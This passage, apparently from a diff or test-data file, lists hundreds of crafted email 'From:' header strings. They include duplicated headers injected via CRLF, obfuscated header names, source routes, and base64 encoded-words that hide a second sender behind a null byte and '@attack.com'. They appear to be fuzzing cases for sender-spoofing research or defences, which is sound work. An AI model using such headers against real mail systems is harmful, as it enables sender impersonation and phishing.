\r\nFrom:Alice@163.com\r\n", - "From: \r\nFrom:,(comment),(),word..(hi)\r\n", - " FrOM: \r\nFrom:hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", - "From:(),Bob@qq.com\r\n", - " From: \r\nFrom:()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQHRvcC5jb20sKGNvbW0NCmVudCk8QGEuY29tOkBiLmNvbTpCb2JAMTI2LmNvbT4oaGkpLGFkbWluQGljbG91ZC5jb20NCg===?=>", - "From :,Alice@china.com\r\n", - "From: \r\nFrom:security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - "From :wordword(),wordwordword(comm\r\nent)\r\n", - "From: \r\nFrom:Alice@outlook.com\r\n", - " FrOM: \r\nFrom:hr@aliyun.com\r\n", - " FrOM: \r\nFrom:word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", - "From: <@a.com:@b.com:Bob@163.com>(hi)\r\n", - " Fromÿ: \r\nFrom:Bob@sohu.com,Mike@qq.com\r\n", - "From:Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", - "From: Alice@msn.com,\r\n", - "From: word(comm\r\nent)\r\n", - "From: ,,(comm\r\nent),security@sina.com,,wordwordwordword<@gmail.com:@b.com:attacker@gmail.com>(hi),()(comm\r\nent)\r\n", - " FrOM: \r\nFrom:word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", - " From:admin@icloud.com\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAcXEuY29tOkAxNjMuY29tOk1pa2VAeW1haWwuY29tLmNuPixhdHRhY2tlckB5bWFpbC5jb20uY24NCg===?=>\u0000@attack.com", - "From :webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", - "From: (comment),(),webmaster@hotmail.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206a2V5QG91dGxvb2suY29tPigNCiksLChjb21tZW50KQ0K=?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:hr@foxmail.com,,\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxCb2JAY2hpbmEuY29tLEJvYkBxcS5jb20sLCwoY29tbWVudCkNCg===?=>\u0000@attack.com", - "From: \r\nFrom:,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", - " FrOM: \r\nFrom:word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckAxNjMuY29tDQo==?=>", - "From: webmaster@sina.cn,Mike@163.com\r\n", - "From: <=?utf-8?RnJvbTpzZWN1cml0eUBjaGluYS5jb20sLA0K=?=>", - "From:<@a.com:@b.com:attacker@139.com>\r\n", - "From:Mike@gmail.com,admin@gmail.com,key@qq.com,hr@qq.com,hr@msn.com,key@foxmail.com,admin@qq.com,webmaster@top.com,word<@qq.com:@163.com:Mike@sohu.com>,word<@a.com:@b.com:key@icloud.com>(comm\r\nent)\r\n", - "From: (\r\n),key@qq.com,\r\n", - "From: <=?utf-8?RnJvbTosa2V5QDEzOS5jb20sYWRtaW5AZm94bWFpbC5jb20sd29yZC48QGdtYWlsLmNvbTpAYi5jb206YXR0YWNrZXJAc2luYS5jb20+LCwNCg===?=>\u0000@attack.com", - "From :hr@aliyun.com\r\n", - "From: \r\nFrom:(),(comm\r\nent),(comm\r\nent),(comment)\r\n", - " FrOM: \r\nFrom:attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTosLGtleUBmb3htYWlsLmNvbQ0K=?=>", - " From: \r\nFrom:hr@aliyun.com\r\n", - " Fromÿ: \r\nFrom:,webmaster@sina.cn,,,(\r\n)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOnNlY3VyaXR5QHNpbmEuY24+LHdlYm1hc3RlckBmb3htYWlsLmNvbSxzZWN1cml0eUBzaW5hLmNvbSx3b3JkPEBhLmNvbTpAYi5jb206YXR0YWNrZXJAb3V0bG9vay5jb20+LDxAcXEuY29tOkAxNjMuY29tOnNlY3VyaXR5QHltYWlsLmNvbS5jbj4NCg===?=>\u0000@attack.com", - "From:wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkBzb2h1LmNvbQ0K=?=>\u0000@attack.com", - " FrOM: \r\nFrom:(hi),admin@msn.com\r\n", - " FrOM: \r\nFrom:hr@foxmail.com\r\n", - " Fromÿ: \r\nFrom:(hi),admin@msn.com\r\n", - " From:security@sina.com\r\n", - "From:(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", - " Fromÿ: \r\nFrom:<@gmail.com:@b.com:key@top.com>\r\n", - " From:webmaster@sina.cn,Mike@163.com\r\n", - " From:(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", - "From:attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", - "From: \r\nFrom:Alice@msn.com,\r\n", - "From:,webmaster@sina.cn,,,(\r\n)\r\n", - " FrOM: \r\nFrom:admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", - " FrOM: \r\nFrom:webmaster@139.com\r\n", - " FrOM: \r\nFrom:(comment)<@a.com:@b.com:Bob@139.com>\r\n", - "From:", - " Fromÿ: \r\nFrom:Alice@aliyun.com\r\n", - "From :<@a.com:@b.com:security@qq.com>\r\n", - " Fromÿ: \r\nFrom:webmaster@sina.com,Mike@ymail.com.cn\r\n", - "From: \r\nFrom:admin@live.com\r\n", - " FrOM: \r\nFrom:Alice@outlook.com\r\n", - "From :Alice@qq.com,word.,security@sina.cn,security@126.com,word(comment)\r\n", - " FrOM: \r\nFrom:Bob@aliyun.com,(),,,word\r\n", - " From: \r\nFrom:admin@icloud.com\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUBxcS5jb20sd29yZC48a2V5QGNoaW5hLmNvbT4sc2VjdXJpdHlAc2luYS5jbixzZWN1cml0eUAxMjYuY29tLHdvcmQoY29tbWVudCk8YWRtaW5AY2hpbmEuY29tPg0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTooY29tbWVudCksKGhpKSxhdHRhY2tlckBvdXRsb29rLmNvbSwoKSxrZXlAMTYzLmNvbQ0K=?=>", - "From: \r\nFrom:word(comm\r\nent)\r\n", - "From: key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", - " FrOM: \r\nFrom:wordword(comment)<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - " Fromÿ: \r\nFrom:word(\r\n)(\r\n)\r\n", - "From: <=?utf-8?RnJvbTprZXlAbGl2ZS5jb20NCg===?=>", - "From: <=?utf-8?RnJvbTooY29tbWVudCk8QWxpY2VAMTM5LmNvbT4sd29yZDxAcXEuY29tOkAxNjMuY29tOnNlY3VyaXR5QG1zbi5jb20+KGNvbW0NCmVudCksaHJAMTM5LmNvbQ0K=?=>", - " From:(comment)<@a.com:@b.com:Bob@139.com>\r\n", - " FrOM: \r\nFrom:security@china.com,,\r\n", - "From: word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", - "From :,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAZ21haWwuY29tOkBiLmNvbTpockBzb2h1LmNvbT4oY29tbWVudCkNCg===?=>", - "From:word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", - " FrOM: \r\nFrom:,,,\r\n", - "From: <=?utf-8?RnJvbTosKGNvbW0NCmVudCksc2VjdXJpdHlAZm94bWFpbC5jb20sLGhyQHNpbmEuY24sKGNvbW0NCmVudCkNCg===?=>", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAcXEuY29tOkAxNjMuY29tOmFkbWluQGhvdG1haWwuY29tPixhZG1pbkBzb2h1LmNvbSw8Qm9iQGNoaW5hLmNvbT4NCg===?=>", - "From: \r\nFrom:Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", - " Fromÿ: \r\nFrom:,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", - "From: security@sina.com\r\n", - "From: \r\nFrom:(comment)<@a.com:@b.com:Bob@139.com>\r\n", - "From: \r\nFrom:Bob@sohu.com,security@sohu.com\r\n", - "From: <=?utf-8?RnJvbTpCb2JAYWxpeXVuLmNvbSwoKSwsLHdvcmQ8YXR0YWNrZXJAZm94bWFpbC5jb20+DQo==?=>\u0000@attack.com", - " From:word(\r\n)()\r\n", - "From: \r\nFrom:,<@a.com:@b.com:Alice@sina.cn>\r\n", - "From: \r\nFrom:,(hi),(\r\n)\r\n", - " From: \r\nFrom:<@qq.com:@163.com:Alice@sohu.com>\r\n", - "From: <=?utf-8?RnJvbTpockBnbWFpbC5jb20NCg===?=>\u0000@attack.com", - "From:,hr@126.com,(hi)\r\n", - "From:admin@139.com,(comm\r\nent)(comment)\r\n", - "From :Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", - " From:()\r\n", - "From:hr@aliyun.com\r\n", - " FrOM: \r\nFrom:key@top.com,word(comm\r\nent)word(\r\n)<@gmail.com:@b.com:Mike@hotmail.com>(comment)\r\n", - " From: \r\nFrom:admin@china.com,,,\r\n", - "From :,attacker@hotmail.com\r\n", - "From: (comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTpzZWN1cml0eUBjaGluYS5jb20sLA0K=?=>\u0000@attack.com", - " FrOM: \r\nFrom:wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", - " Fromÿ: \r\nFrom:,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", - " Fromÿ: \r\nFrom:wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", - " From:(\r\n),wordword(\r\n)(\r\n),\r\n", - " From:word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", - " From:(),Mike@139.com,\r\n", - " From:(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", - "From: \r\nFrom:webmaster@gmail.com\r\n", - " From:key@hotmail.com\r\n", - "From: wordword(hi).(\r\n)(comment),wordwordwordword(hi)(comm\r\nent),webmaster@qq.com,attacker@aliyun.com,hr@hotmail.com\r\n", - " Fromÿ: \r\nFrom:word(comm\r\nent)\r\n", - "From:,,key@foxmail.com\r\n", - "From: attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpd29yZDxzZWN1cml0eUBnbWFpbC5jb20+LHdvcmR3b3Jkd29yZHdvcmR3b3Jkd29yZHdvcmR3b3JkPGF0dGFja2VyQHFxLmNvbT4oY29tbQ0KZW50KSxhZG1pbkAxMzkuY29tLHdlYm1hc3RlckAxMjYuY29tLHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTpCb2JAZm94bWFpbC5jb20+KGNvbW0NCmVudCkNCg===?=>", - " From:webmaster@gmail.com\r\n", - "From: word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", - " FrOM: \r\nFrom:(\r\n),key@qq.com,\r\n", - " From:admin@live.com,(\r\n)\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZChoaSkuKA0KKShjb21tZW50KTxzZWN1cml0eUB5bWFpbC5jb20uY24+LHdvcmR3b3Jkd29yZHdvcmQoaGkpPHNlY3VyaXR5QDEyNi5jb20+KGNvbW0NCmVudCksd2VibWFzdGVyQHFxLmNvbSxhdHRhY2tlckBhbGl5dW4uY29tLGhyQGhvdG1haWwuY29tDQo==?=>", - "From: <=?utf-8?RnJvbTp3b3JkKGhpKTxAZ21haWwuY29tOkBiLmNvbTpCb2JAMTYzLmNvbT4oaGkpDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTprZXlAMTI2LmNvbSx3b3JkKCk8QGdtYWlsLmNvbTpAYi5jb206YWRtaW5Ac2luYS5jb20+DQo==?=>\u0000@attack.com", - "From :wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", - "From:wordwordword(comment)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8QWxpY2VAYWxpeXVuLmNvbT4NCg===?=>", - " FrOM: \r\nFrom:hr@ymail.com.cn\r\n", - "From: <=?utf-8?RnJvbTosQWxpY2VAY2hpbmEuY29tDQo==?=>", - "From:key@icloud.com,wordwordword(\r\n),(comment)(hi)\r\n", - "From: <=?utf-8?RnJvbTprZXlAdG9wLmNvbSx3b3JkKGNvbW0NCmVudCl3b3JkKA0KKTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQGhvdG1haWwuY29tPihjb21tZW50KQ0K=?=>", - "From: \r\nFrom:,,,word(\r\n)\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmR3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206Qm9iQGhvdG1haWwuY29tPigNCikNCg===?=>", - " FrOM: \r\nFrom:webmaster@qq.com,()\r\n", - " From:webmaster@foxmail.com,(comm\r\nent),attacker@sina.cn,\r\n", - "From: <=?utf-8?RnJvbTprZXlAaG90bWFpbC5jb20NCg===?=>", - " FrOM: \r\nFrom:(comm\r\nent)(hi),key@msn.com\r\n", - "From: <=?utf-8?RnJvbTooKSx3ZWJtYXN0ZXJAc2luYS5jbiwNCg===?=>", - "From: \r\nFrom:wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", - " From: \r\nFrom:Bob@126.com\r\n", - "From: \r\nFrom:Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", - "From: (),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", - "From: \r\nFrom:(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", - " From:,(hi),(\r\n)\r\n", - " Fromÿ: \r\nFrom:wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", - " From:,(\r\n),Mike@china.com,word(comm\r\nent),\r\n", - " Fromÿ: \r\nFrom:Alice@live.com\r\n", - "From: <=?utf-8?RnJvbTpCb2JAdG9wLmNvbSx3b3JkPEBnbWFpbC5jb206QGIuY29tOkJvYkBvdXRsb29rLmNvbT4oKQ0K=?=>", - "From :(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", - "From: <@a.com:@b.com:attacker@139.com>\r\n", - " From:word(hi)(comm\r\nent)\r\n", - " From:(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", - "From: \r\nFrom:hr@gmail.com\r\n", - " From: \r\nFrom:hr@sohu.com\r\n", - " From: \r\nFrom:admin@china.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbWVudCksTWlrZUBxcS5jb20sKCk8YWRtaW5Ac2luYS5jb20+KGhpKQ0K=?=>", - "From: <=?utf-8?RnJvbTphZG1pbkB5bWFpbC5jb20sd29yZChoaSk8Qm9iQGdtYWlsLmNvbT4oKSw8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUBob3RtYWlsLmNvbT4sQWxpY2VAZm94bWFpbC5jb20sPEBhLmNvbTpAYi5jb206YXR0YWNrZXJAaG90bWFpbC5jb20+KA0KKQ0K=?=>", - " FrOM: \r\nFrom:(hi),(comm\r\nent),word().(\r\n)\r\n", - "From :security@126.com\r\n", - " Fromÿ: \r\nFrom:key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", - "From :hr@icloud.com,(comm\r\nent)<@qq.com:@163.com:Alice@outlook.com>,(comment),,(\r\n),word<@gmail.com:@b.com:hr@sina.cn>(),\r\n", - "From: (comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", - " From: \r\nFrom:(),Bob@qq.com\r\n", - "From: key@sohu.com\r\n", - "From: \r\nFrom:(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", - " From:,Alice@top.com\r\n", - "From: <=?utf-8?RnJvbTosPEBnbWFpbC5jb206QGIuY29tOmFkbWluQGNoaW5hLmNvbT4sKGhpKTxAZ21haWwuY29tOkBiLmNvbTphdHRhY2tlckBtc24uY29tPiwoaGkpLCwoKSwNCg===?=>\u0000@attack.com", - " From:Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", - " FrOM: \r\nFrom:webmaster@126.com\r\n", - "From: <=?utf-8?RnJvbTosc2VjdXJpdHlAY2hpbmEuY29tDQo==?=>", - " Fromÿ: \r\nFrom:()\r\n", - "From: \r\nFrom:attacker@ymail.com.cn\r\n", - "From:<@qq.com:@163.com:attacker@live.com>(comment)\r\n", - " From: \r\nFrom:,webmaster@foxmail.com\r\n", - "From: \r\nFrom:word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", - " From: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQG1zbi5jb20saHJAdG9wLmNvbSx3ZWJtYXN0ZXJAaG90bWFpbC5jb20NCg===?=>", - " FrOM: \r\nFrom:wordword<@qq.com:@163.com:admin@hotmail.com>,admin@sohu.com,\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPGtleUAxMjYuY29tPihoaSksd29yZDxAYS5jb206QGIuY29tOk1pa2VAaWNsb3VkLmNvbT4NCg===?=>", - " Fromÿ: \r\nFrom:hr@foxmail.com\r\n", - "From :word(),wordword(hi)\r\n", - " FrOM: \r\nFrom:key@ymail.com.cn\r\n", - " From: \r\nFrom:webmaster@gmail.com,key@126.com\r\n", - " From:word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", - "From: <=?utf-8?RnJvbTooDQopLHdvcmR3b3JkKA0KKTxockAxMzkuY29tPigNCiksDQo==?=>", - "From :word(comment)word,wordwordwordwordwordwordwordword(comm\r\nent),admin@139.com,webmaster@126.com,word<@qq.com:@163.com:Bob@foxmail.com>(comm\r\nent)\r\n", - "From: \r\nFrom:wordword<@qq.com:@163.com:Mike@ymail.com.cn>,attacker@ymail.com.cn\r\n", - "From: <=?utf-8?RnJvbTooY29tbWVudCksKGhpKSxhdHRhY2tlckBvdXRsb29rLmNvbSwoKSxrZXlAMTYzLmNvbQ0K=?=>\u0000@attack.com", - " From:wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", - " Fromÿ: \r\nFrom:wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", - " From:key@msn.com\r\n", - " From: \r\nFrom:,webmaster@ymail.com\r\n", - " FrOM: \r\nFrom:key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", - "From :(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", - "From :word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", - "From: \r\nFrom:<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", - "From:word<@qq.com:@163.com:key@126.com>\r\n", - " From: \r\nFrom:(hi)(comment),attacker@qq.com,(),webmaster@sina.com\r\n", - " Fromÿ: \r\nFrom:()<@gmail.com:@b.com:Mike@live.com>\r\n", - "From :(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", - "From :(),Bob@qq.com\r\n", - " Fromÿ: \r\nFrom:admin@china.com\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckB5bWFpbC5jb20uY24NCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTprZXlAaG90bWFpbC5jb20NCg===?=>\u0000@attack.com", - "From: attacker@ymail.com.cn\r\n", - " FrOM: \r\nFrom:security@ymail.com.cn,security@qq.com,wordword<@gmail.com:@b.com:webmaster@ymail.com.cn>\r\n", - "From: \r\nFrom:(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", - "From: \r\nFrom:(comm\r\nent),attacker@163.com\r\n", - " From: \r\nFrom:word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", - " From: \r\nFrom:(comment),word(comm\r\nent),(),(\r\n)\r\n", - "From: <=?utf-8?RnJvbTooKTxAYS5jb206QGIuY29tOnNlY3VyaXR5QHltYWlsLmNvbT4oY29tbQ0KZW50KQ0K=?=>", - "From: <=?utf-8?RnJvbTpockBmb3htYWlsLmNvbQ0K=?=>", - "From :(comment),(),webmaster@hotmail.com\r\n", - " Fromÿ: \r\nFrom:webmaster@qq.com,()\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBvdXRsb29rLmNvbQ0K=?=>\u0000@attack.com", - " FrOM: \r\nFrom:word(comment)(comment)\r\n", - "From :Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", - " From: \r\nFrom:Bob@sohu.com,security@sohu.com\r\n", - " From: \r\nFrom:attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", - "From: \r\nFrom:Mike@163.com,(comm\r\nent)\r\n", - " FrOM: \r\nFrom:(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", - " FrOM: \r\nFrom:,webmaster@sina.cn,,,(\r\n)\r\n", - " From:,(\r\n),(),Bob@139.com,,,(\r\n)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8QWxpY2VAYWxpeXVuLmNvbT4NCg===?=>\u0000@attack.com", - " FrOM: \r\nFrom:Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", - " Fromÿ: \r\nFrom:admin@live.com\r\n", - "From :(comment)<@gmail.com:@b.com:Alice@gmail.com>(\r\n)\r\n", - "From:,webmaster@ymail.com\r\n", - " From:hr@foxmail.com\r\n", - " From:,word(\r\n),,(),key@ymail.com.cn,()\r\n", - " FrOM: \r\nFrom:attacker@outlook.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGhpKShjb21tDQplbnQpPHdlYm1hc3RlckBtc24uY29tPg0K=?=>\u0000@attack.com", - "From :<@a.com:@b.com:Bob@163.com>(hi)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBhLmNvbTpAYi5jb206YWRtaW5AaWNsb3VkLmNvbT4sKA0KKTxAYS5jb206QGIuY29tOkFsaWNlQGdtYWlsLmNvbT4sKGhpKTxAcXEuY29tOkAxNjMuY29tOmtleUBzb2h1LmNvbT4sd29yZCgNCik8YXR0YWNrZXJAZ21haWwuY29tPihoaSksc2VjdXJpdHlAYWxpeXVuLmNvbSx3ZWJtYXN0ZXJAMTI2LmNvbQ0K=?=>", - "From: <=?utf-8?RnJvbTooY29tbWVudCk8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAZ21haWwuY29tPigNCikNCg===?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:webmaster@sina.cn,Mike@163.com\r\n", - " From:word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", - "From: <=?utf-8?RnJvbTooY29tbWVudCksKCksd2VibWFzdGVyQGhvdG1haWwuY29tDQo==?=>", - "From: \r\nFrom:key@live.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW1lbnQpPGtleUBpY2xvdWQuY29tPiw8QHFxLmNvbTpAMTYzLmNvbTpCb2JAeW1haWwuY29tLmNuPg0K=?=>", - "From: <=?utf-8?RnJvbTooY29tbWVudCksKCksd2VibWFzdGVyQGhvdG1haWwuY29tDQo==?=>\u0000@attack.com", - "From :,<@a.com:@b.com:Alice@sina.cn>\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUBvdXRsb29rLmNvbSx3b3JkPGF0dGFja2VyQDE2My5jb20+DQo==?=>", - " From: \r\nFrom:<@qq.com:@163.com:Mike@163.com>\r\n", - " From: \r\nFrom:word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", - " Fromÿ: \r\nFrom:Bob@aliyun.com,(),,,word\r\n", - " From: \r\nFrom:key@live.com\r\n", - "From:word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", - " FrOM: \r\nFrom:,,(comm\r\nent),(),(),,wordwordword,,hr@live.com\r\n", - "From:<@a.com:@b.com:security@qq.com>\r\n", - " FrOM: \r\nFrom:,(hi)<@a.com:@b.com:Bob@sohu.com>,\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZChjb21tDQplbnQpPEBhLmNvbTpAYi5jb206QWxpY2VAc29odS5jb20+LHdvcmQoY29tbQ0KZW50KTxAcXEuY29tOkAxNjMuY29tOkFsaWNlQHltYWlsLmNvbS5jbj4oY29tbWVudCksQm9iQHNpbmEuY24sa2V5QDE2My5jb20sd2VibWFzdGVyQHRvcC5jb20NCg===?=>", - " From:(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBnbWFpbC5jb20sKGNvbW0NCmVudCk8Qm9iQGZveG1haWwuY29tPihjb21tZW50KSxrZXlAZ21haWwuY29tDQo==?=>", - "From: <=?utf-8?RnJvbTpockBmb3htYWlsLmNvbSwsDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTooY29tbWVudCksTWlrZUBxcS5jb20sKCk8YWRtaW5Ac2luYS5jb20+KGhpKQ0K=?=>\u0000@attack.com", - "From: \r\nFrom:(comm\r\nent),(\r\n),(\r\n),,wordword<@qq.com:@163.com:Bob@hotmail.com>()\r\n", - "From: \r\nFrom:,,Alice@msn.com,,()\r\n", - " From: \r\nFrom:(comment),()<@gmail.com:@b.com:Bob@icloud.com>,,<@qq.com:@163.com:Alice@ymail.com.cn>,(hi),(comment)\r\n", - "From: \r\nFrom:security@163.com\r\n", - " Fromÿ: \r\nFrom:attacker@gmail.com,(comm\r\nent)(comment),key@gmail.com\r\n", - " FrOM: \r\nFrom:word(comment)<@gmail.com:@b.com:hr@qq.com>(\r\n)\r\n", - "From: key@live.com\r\n", - "From:(comm\r\nent),,(),(hi),,,key@hotmail.com,\r\n", - "From: <=?utf-8?RnJvbTosQWxpY2VAdG9wLmNvbQ0K=?=>", - "From:security@126.com\r\n", - " FrOM: \r\nFrom:hr@126.com\r\n", - "From :word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", - " From: \r\nFrom:(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", - "From :(\r\n)<@gmail.com:@b.com:attacker@foxmail.com>()\r\n", - " From: \r\nFrom:,(hi),(\r\n)\r\n", - "From :(),<@a.com:@b.com:webmaster@139.com>(comm\r\nent),,\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAZm94bWFpbC5jb20sKGNvbW0NCmVudCksYXR0YWNrZXJAc2luYS5jbiwNCg===?=>", - " FrOM: \r\nFrom:(comm\r\nent)(hi)\r\n", - " Fromÿ: \r\nFrom:(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", - " FrOM: \r\nFrom:webmaster@sina.cn,Mike@163.com\r\n", - "From: word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", - "From:,attacker@sina.com,(hi)\r\n", - "From: \r\nFrom:<@gmail.com:@b.com:key@top.com>\r\n", - "From :,,(comment),webmaster@sina.cn,(hi)\r\n", - "From: \r\nFrom:Bob@139.com\r\n", - "From :(hi),(comm\r\nent),word().(\r\n)\r\n", - " FrOM: \r\nFrom:,webmaster@ymail.com\r\n", - "From: \r\nFrom:(hi)\r\n", - "From: \r\nFrom:()\r\n", - " From:key@live.com\r\n", - " From:webmaster@ymail.com,<@qq.com:@163.com:key@china.com>\r\n", - "From :hr@foxmail.com,,\r\n", - " From: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", - " From: \r\nFrom:attacker@sohu.com,webmaster@foxmail.com\r\n", - "From :admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", - " From: \r\nFrom:word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", - "From: 